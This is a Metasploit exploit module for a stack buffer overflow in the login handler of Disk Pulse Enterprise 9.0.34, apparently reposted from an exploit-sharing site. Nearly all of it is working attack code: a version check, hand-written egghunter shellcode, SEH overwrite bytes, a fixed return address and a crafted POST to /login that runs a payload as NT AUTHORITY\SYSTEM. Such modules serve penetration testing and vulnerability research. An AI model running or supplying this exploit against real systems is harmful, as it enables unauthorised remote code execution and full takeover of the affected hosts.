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Disk Pulse Enterprise 9.0.34 Login Buffer Overflow Exploit
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Disk Pulse Enterprise Login Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Disk Pulse Enterprise 9.0.34. If a malicious user sends a malicious HTTP login request, it is possible to execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account. Due to size constraints, this module uses the Egghunter technique. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Higgins', # msf Module -- @ch1gg1ns 'Tulpa Security' # Original discovery -- @tulpa_security ], 'References' => [ [ 'EDB', '40452' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x26" }, 'Targets' => [ [ 'Disk Pulse Enterprise 9.0.34', { 'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll 'Offset' => 12600 } ], ], 'Privileged' => true, 'DisclosureDate' => 'Oct 03 2016', 'DefaultTarget' => 0)) register_options([Opt::RPORT(80)], self.class) end def check res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit connect eggoptions = { :checksum => true, :eggtag => "w00t" } print_status("Generating exploit...") sploit = "username=admin" sploit << "&password=aaaaa\r\n" # Would like to use generate_egghunter(), looking for improvement egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" sploit << rand_text(target['Offset'] - payload.encoded.length) sploit << "w00tw00t" sploit << payload.encoded sploit << make_nops(70) sploit << rand_text(1614) # Would like to use generate_seh_record(), looking for improvement sploit << "\x90\x90\xEB\x0B" sploit << "\x33\xA3\x01\x10" sploit << make_nops(20) sploit << egghunter sploit << make_nops(7000) # Total exploit size should be 21747 print_status("Total exploit size: " + sploit.length.to_s) print_status("Triggering the exploit now...") print_status("Please be patient, the egghunter may take a while...") res = send_request_cgi({ 'uri' => '/login', 'method' => 'POST', 'content-type' => 'application/x-www-form-urlencoded', 'content-length' => '17000', 'data' => sploit }) handler disconnect end end # 0day.today [2024-09-28] #